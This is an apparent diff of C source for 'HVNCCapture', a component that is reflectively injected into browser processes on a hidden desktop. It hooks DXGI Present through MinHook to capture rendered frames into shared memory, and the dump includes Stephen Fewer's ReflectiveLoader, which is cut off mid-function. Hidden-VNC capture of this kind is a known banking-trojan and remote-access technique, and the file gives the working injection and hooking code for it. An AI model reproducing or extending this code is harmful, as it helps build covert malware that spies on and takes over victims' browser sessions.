scd.BufferDesc.RefreshRate.Denominator = 1;
|
||||
scd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
|
||||
scd.OutputWindow = hWnd;
|
||||
scd.SampleDesc.Count = 1;
|
||||
scd.Windowed = TRUE;
|
||||
scd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
|
||||
|
||||
IDXGISwapChain* pSwapChain = NULL;
|
||||
ID3D11Device* pDevice = NULL;
|
||||
ID3D11DeviceContext* pCtx = NULL;
|
||||
D3D_FEATURE_LEVEL featureLevel;
|
||||
|
||||
HRESULT hr = pCreate(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, NULL, 0,
|
||||
D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
|
||||
|
||||
if (FAILED(hr) || !pSwapChain) {
|
||||
hr = pCreate(NULL, D3D_DRIVER_TYPE_WARP, NULL, 0, NULL, 0,
|
||||
D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx);
|
||||
}
|
||||
|
||||
if (FAILED(hr) || !pSwapChain) {
|
||||
DebugLog("[HVNCCapture] Failed to create dummy swapchain: 0x%08x\n", hr);
|
||||
if (pCtx) pCtx->Release();
|
||||
if (pDevice) pDevice->Release();
|
||||
if (pSwapChain) pSwapChain->Release();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Extract vtable pointers via raw vtable read
|
||||
// IDXGISwapChain: Present is at index 8, ResizeBuffers at index 13
|
||||
void** vtable = *(void***)pSwapChain;
|
||||
*ppPresent = vtable[8];
|
||||
*ppResizeBuffers = vtable[13];
|
||||
|
||||
// Try to get Present1 from IDXGISwapChain1
|
||||
IDXGISwapChain1* pSwapChain1 = NULL;
|
||||
hr = pSwapChain->QueryInterface(__uuidof(IDXGISwapChain1), (void**)&pSwapChain1);
|
||||
if (SUCCEEDED(hr) && pSwapChain1) {
|
||||
void** vtable1 = *(void***)pSwapChain1;
|
||||
// IDXGISwapChain1: Present1 is at vtable index 22
|
||||
*ppPresent1 = vtable1[22];
|
||||
pSwapChain1->Release();
|
||||
}
|
||||
|
||||
pCtx->Release();
|
||||
pDevice->Release();
|
||||
pSwapChain->Release();
|
||||
|
||||
DebugLog("[HVNCCapture] vtable Present=%p Present1=%p ResizeBuffers=%p\n",
|
||||
*ppPresent, *ppPresent1, *ppResizeBuffers);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
// Public API
|
||||
//-----------------------------------------------------------------------------------------------//
|
||||
void InstallDXGICapture(void) {
|
||||
QueryPerformanceFrequency(&g_PerfFreq);
|
||||
QueryPerformanceCounter(&g_LastFrameTime);
|
||||
|
||||
InitializeCriticalSection(&g_Lock);
|
||||
g_LockInitialized = TRUE;
|
||||
|
||||
MH_STATUS status = MH_Initialize();
|
||||
if (status != MH_OK && status != MH_ERROR_ALREADY_INITIALIZED) {
|
||||
DebugLog("[HVNCCapture] MH_Initialize failed: %d\n", status);
|
||||
return;
|
||||
}
|
||||
|
||||
void* pPresent = NULL;
|
||||
void* pPresent1 = NULL;
|
||||
void* pResizeBuffers = NULL;
|
||||
|
||||
if (!GetDXGIPresent(&pPresent, &pPresent1, &pResizeBuffers)) {
|
||||
DebugLog("[HVNCCapture] Failed to discover DXGI vtable\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (pPresent) {
|
||||
status = MH_CreateHook(pPresent, (LPVOID)HookedPresent, (LPVOID*)&g_OrigPresent);
|
||||
if (status == MH_OK) {
|
||||
MH_EnableHook(pPresent);
|
||||
DebugLog("[HVNCCapture] Present hooked at %p\n", pPresent);
|
||||
} else {
|
||||
DebugLog("[HVNCCapture] MH_CreateHook Present failed: %d\n", status);
|
||||
}
|
||||
}
|
||||
|
||||
if (pPresent1) {
|
||||
status = MH_CreateHook(pPresent1, (LPVOID)HookedPresent1, (LPVOID*)&g_OrigPresent1);
|
||||
if (status == MH_OK) {
|
||||
MH_EnableHook(pPresent1);
|
||||
DebugLog("[HVNCCapture] Present1 hooked at %p\n", pPresent1);
|
||||
} else {
|
||||
DebugLog("[HVNCCapture] MH_CreateHook Present1 failed: %d\n", status);
|
||||
}
|
||||
}
|
||||
|
||||
if (pResizeBuffers) {
|
||||
status = MH_CreateHook(pResizeBuffers, (LPVOID)HookedResizeBuffers, (LPVOID*)&g_OrigResizeBuffers);
|
||||
if (status == MH_OK) {
|
||||
MH_EnableHook(pResizeBuffers);
|
||||
DebugLog("[HVNCCapture] ResizeBuffers hooked at %p\n", pResizeBuffers);
|
||||
} else {
|
||||
DebugLog("[HVNCCapture] MH_CreateHook ResizeBuffers failed: %d\n", status);
|
||||
}
|
||||
}
|
||||
|
||||
DebugLog("[HVNCCapture] DXGI hooks installed (PID %lu)\n", GetCurrentProcessId());
|
||||
}
|
||||
|
||||
void RemoveDXGICapture(void) {
|
||||
if (g_OrigPresent) { MH_DisableHook((LPVOID)g_OrigPresent); MH_RemoveHook((LPVOID)g_OrigPresent); }
|
||||
if (g_OrigPresent1) { MH_DisableHook((LPVOID)g_OrigPresent1); MH_RemoveHook((LPVOID)g_OrigPresent1); }
|
||||
if (g_OrigResizeBuffers) { MH_DisableHook((LPVOID)g_OrigResizeBuffers); MH_RemoveHook((LPVOID)g_OrigResizeBuffers); }
|
||||
|
||||
MH_Uninitialize();
|
||||
|
||||
if (g_LockInitialized) {
|
||||
EnterCriticalSection(&g_Lock);
|
||||
}
|
||||
|
||||
if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; }
|
||||
if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; }
|
||||
if (g_Context) { g_Context->Release(); g_Context = NULL; }
|
||||
if (g_Device) { g_Device->Release(); g_Device = NULL; }
|
||||
|
||||
if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; }
|
||||
if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; }
|
||||
if (g_FrameEvent) { CloseHandle(g_FrameEvent); g_FrameEvent = NULL; }
|
||||
|
||||
if (g_LockInitialized) {
|
||||
LeaveCriticalSection(&g_Lock);
|
||||
DeleteCriticalSection(&g_Lock);
|
||||
g_LockInitialized = FALSE;
|
||||
}
|
||||
|
||||
DebugLog("[HVNCCapture] Cleaned up\n");
|
||||
}
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,61 @@
|
||||
//===============================================================================================//
|
||||
// HVNCCapture — DXGI SwapChain::Present hook for fast HVNC frame capture.
|
||||
//
|
||||
// Injected into browser processes running on the hidden desktop. Hooks
|
||||
// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer
|
||||
// to a named shared-memory section so the Go capture thread can read them
|
||||
// directly instead of using the slow PrintWindow API.
|
||||
//
|
||||
// Shared memory layout (HVNCFrameHeader at offset 0, then pixel data):
|
||||
// [HVNCFrameHeader][BGRA pixel data, stride-aligned rows]
|
||||
//
|
||||
// Signaling: named event "Local\hvnc_frame_{pid}" is set after each new frame.
|
||||
//===============================================================================================//
|
||||
#ifndef _DXGI_CAPTURE_H
|
||||
#define _DXGI_CAPTURE_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Initialize DXGI Present hook. Call from DllMain(DLL_PROCESS_ATTACH).
|
||||
void InstallDXGICapture(void);
|
||||
|
||||
// Remove hook and clean up shared memory. Call from DllMain(DLL_PROCESS_DETACH).
|
||||
void RemoveDXGICapture(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
// Shared memory header — must match Go-side definition exactly.
|
||||
#pragma pack(push, 1)
|
||||
typedef struct {
|
||||
UINT32 magic; // 'HVNC' = 0x434E5648
|
||||
UINT32 version; // 1
|
||||
UINT32 width;
|
||||
UINT32 height;
|
||||
UINT32 stride; // bytes per row (width * 4, may be padded)
|
||||
UINT32 format; // DXGI_FORMAT value (87 = B8G8R8A8_UNORM)
|
||||
UINT64 frameSeq; // monotonically increasing frame counter
|
||||
UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds
|
||||
UINT32 pid; // process ID that produced this frame
|
||||
UINT32 reserved; // alignment padding
|
||||
} HVNCFrameHeader;
|
||||
#pragma pack(pop)
|
||||
|
||||
#define HVNC_FRAME_MAGIC 0x434E5648 // 'HVNC'
|
||||
#define HVNC_FRAME_VERSION 1
|
||||
|
||||
// Maximum frame dimensions we support (prevents runaway allocation)
|
||||
#define HVNC_MAX_WIDTH 7680
|
||||
#define HVNC_MAX_HEIGHT 4320
|
||||
|
||||
// Shared memory name format — {pid} is the decimal process ID
|
||||
// e.g. "Local\hvnc_frame_12345"
|
||||
#define HVNC_SHM_PREFIX "Local\\hvnc_frame_"
|
||||
#define HVNC_EVENT_PREFIX "Local\\hvnc_evt_"
|
||||
|
||||
#endif // _DXGI_CAPTURE_H
|
||||
@@ -0,0 +1,185 @@
|
||||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
|
||||
#error MinHook supports only x86 and x64 systems.
|
||||
#endif
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// MinHook Error Codes.
|
||||
typedef enum MH_STATUS
|
||||
{
|
||||
// Unknown error. Should not be returned.
|
||||
MH_UNKNOWN = -1,
|
||||
|
||||
// Successful.
|
||||
MH_OK = 0,
|
||||
|
||||
// MinHook is already initialized.
|
||||
MH_ERROR_ALREADY_INITIALIZED,
|
||||
|
||||
// MinHook is not initialized yet, or already uninitialized.
|
||||
MH_ERROR_NOT_INITIALIZED,
|
||||
|
||||
// The hook for the specified target function is already created.
|
||||
MH_ERROR_ALREADY_CREATED,
|
||||
|
||||
// The hook for the specified target function is not created yet.
|
||||
MH_ERROR_NOT_CREATED,
|
||||
|
||||
// The hook for the specified target function is already enabled.
|
||||
MH_ERROR_ENABLED,
|
||||
|
||||
// The hook for the specified target function is not enabled yet, or already
|
||||
// disabled.
|
||||
MH_ERROR_DISABLED,
|
||||
|
||||
// The specified pointer is invalid. It points the address of non-allocated
|
||||
// and/or non-executable region.
|
||||
MH_ERROR_NOT_EXECUTABLE,
|
||||
|
||||
// The specified target function cannot be hooked.
|
||||
MH_ERROR_UNSUPPORTED_FUNCTION,
|
||||
|
||||
// Failed to allocate memory.
|
||||
MH_ERROR_MEMORY_ALLOC,
|
||||
|
||||
// Failed to change the memory protection.
|
||||
MH_ERROR_MEMORY_PROTECT,
|
||||
|
||||
// The specified module is not loaded.
|
||||
MH_ERROR_MODULE_NOT_FOUND,
|
||||
|
||||
// The specified function is not found.
|
||||
MH_ERROR_FUNCTION_NOT_FOUND
|
||||
}
|
||||
MH_STATUS;
|
||||
|
||||
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
|
||||
// MH_QueueEnableHook or MH_QueueDisableHook.
|
||||
#define MH_ALL_HOOKS NULL
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Initialize the MinHook library. You must call this function EXACTLY ONCE
|
||||
// at the beginning of your program.
|
||||
MH_STATUS WINAPI MH_Initialize(VOID);
|
||||
|
||||
// Uninitialize the MinHook library. You must call this function EXACTLY
|
||||
// ONCE at the end of your program.
|
||||
MH_STATUS WINAPI MH_Uninitialize(VOID);
|
||||
|
||||
// Creates a Hook for the specified target function, in disabled state.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
|
||||
|
||||
// Creates a Hook for the specified API function, in disabled state.
|
||||
// Parameters:
|
||||
// pszModule [in] A pointer to the loaded module name which contains the
|
||||
// target function.
|
||||
// pszTarget [in] A pointer to the target function name, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHookApi(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
|
||||
|
||||
// Creates a Hook for the specified API function, in disabled state.
|
||||
// Parameters:
|
||||
// pszModule [in] A pointer to the loaded module name which contains the
|
||||
// target function.
|
||||
// pszTarget [in] A pointer to the target function name, which will be
|
||||
// overridden by the detour function.
|
||||
// pDetour [in] A pointer to the detour function, which will override
|
||||
// the target function.
|
||||
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||
// used to call the original target function.
|
||||
// This parameter can be NULL.
|
||||
// ppTarget [out] A pointer to the target function, which will be used
|
||||
// with other functions.
|
||||
// This parameter can be NULL.
|
||||
MH_STATUS WINAPI MH_CreateHookApiEx(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
|
||||
|
||||
// Removes an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
|
||||
|
||||
// Enables an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// enabled in one go.
|
||||
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
|
||||
|
||||
// Disables an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// disabled in one go.
|
||||
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
|
||||
|
||||
// Queues to enable an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// queued to be enabled.
|
||||
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
|
||||
|
||||
// Queues to disable an already created hook.
|
||||
// Parameters:
|
||||
// pTarget [in] A pointer to the target function.
|
||||
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||
// queued to be disabled.
|
||||
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
|
||||
|
||||
// Applies all queued changes in one go.
|
||||
MH_STATUS WINAPI MH_ApplyQueued(VOID);
|
||||
|
||||
// Translates the MH_STATUS to its name as a string.
|
||||
const char* WINAPI MH_StatusToString(MH_STATUS status);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,51 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
|
||||
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,61 @@
|
||||
//===============================================================================================//
|
||||
// HVNCCapture — ReflectiveDll.c
|
||||
//
|
||||
// Entry point for the reflective DLL. Called by ReflectiveLoader after the DLL
|
||||
// is mapped into memory. Defers DXGI hook installation to a worker thread
|
||||
// because DllMain runs under the loader lock and cannot safely call
|
||||
// LoadLibrary / D3D11CreateDeviceAndSwapChain.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "DXGICapture.h"
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
static HANDLE g_InitThread = NULL;
|
||||
|
||||
// Worker thread: waits for d3d11.dll to appear, then installs hooks.
|
||||
static DWORD WINAPI DeferredInit(LPVOID param)
|
||||
{
|
||||
(void)param;
|
||||
// Poll for d3d11.dll up to 60 seconds (browser may take a while)
|
||||
for (int i = 0; i < 600; i++) {
|
||||
if (GetModuleHandleA("d3d11.dll") != NULL)
|
||||
break;
|
||||
Sleep(100);
|
||||
}
|
||||
if (GetModuleHandleA("d3d11.dll") == NULL) {
|
||||
// Process never loaded D3D11 — nothing to hook
|
||||
return 0;
|
||||
}
|
||||
// Brief delay for swapchain creation
|
||||
Sleep(500);
|
||||
InstallDXGICapture();
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
DisableThreadLibraryCalls(hinstDLL);
|
||||
g_InitThread = CreateThread(NULL, 0, DeferredInit, NULL, 0, NULL);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
if (g_InitThread) {
|
||||
WaitForSingleObject(g_InitThread, 5000);
|
||||
CloseHandle(g_InitThread);
|
||||
g_InitThread = NULL;
|
||||
}
|
||||
RemoveDXGICapture();
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return bReturnValue;
|
||||
}
|
||||
@@ -0,0 +1,516 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
// Store the parameter passed to ReflectiveLoader so DllMain can access it
|
||||
LPVOID g_lpReflectiveParameter = NULL;
|
||||
//===============================================================================================//
|
||||
#ifdef _MSC_VER
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define RDI_NOINLINE __declspec(noinline)
|
||||
#else
|
||||
#define RDI_NOINLINE __attribute__((noinline))
|
||||
#endif
|
||||
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
RDI_NOINLINE ULONG_PTR caller(VOID)
|
||||
{
|
||||
#ifdef _MSC_VER
|
||||
return (ULONG_PTR)_ReturnAddress();
|
||||
#elif defined(__GNUC__) || defined(__clang__)
|
||||
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
|
||||
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
|
||||
#else
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
//===============================================================================================//
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while (TRUE)
|
||||
{
|
||||
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef WIN_X64
|
||||
uiBaseAddress = __readgsqword(0x60);
|
||||
#else
|
||||
#ifdef WIN_X86
|
||||
uiBaseAddress = __readfsdword(0x30);
|
||||
#else WIN_ARM
|
||||
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while (uiValueA)
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror((DWORD)uiValueC);
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if (*((BYTE*)uiValueB) >= 'a')
|
||||
uiValueC += *((BYTE*)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE*)uiValueB);
|
||||
uiValueB++;
|
||||
